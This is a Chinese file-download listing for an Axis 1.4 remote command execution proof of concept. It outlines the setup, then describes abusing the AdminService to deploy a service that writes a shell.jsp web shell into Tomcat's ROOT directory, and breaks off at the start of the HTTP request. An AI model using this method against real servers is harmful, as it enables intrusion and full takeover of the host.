文件名称：xml执行java源码-Axis-1.4-RCE-Poc:Axis<=1.4远程命令执行（RCE）POC
文件大小：2.25MB
文件格式：ZIP
更新时间：2024-06-25 18:28:40
系统开源
xml 执行java源码 Axis <=1.4 远程命令执行（RCE） POC 环境准备 首先下载Axis1.4 本仓库有一个打包好的axis直接解压到tomcat webapps下即可 ,web-inf/web.xml 去掉AdminServlet注释 然后，server-config.wsdd文件开启enableRemoteAdmin （本地环境可以不管） 本人部署在tomcat8上 利用 第一步： 通过services/AdminService 服务 部署一个webservice ,webservice开启一个写文件服务。这里我们要写入的文件名是../webapps/ROOT/shell.jsp，服务模块的工作路径是bin目录，这里利用相对路径写入ROOT目录，也就是tomcat默认根目录。 POST /axis/services/AdminService HTTP/1.1 Host: localhost:8080 Connection: close Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*
【文件预览】：
Axis-1.4-RCE-Poc-master
----Axis1.4_rce_poc.py(3KB)
----README.md(5KB)
----axis.zip(2.27MB)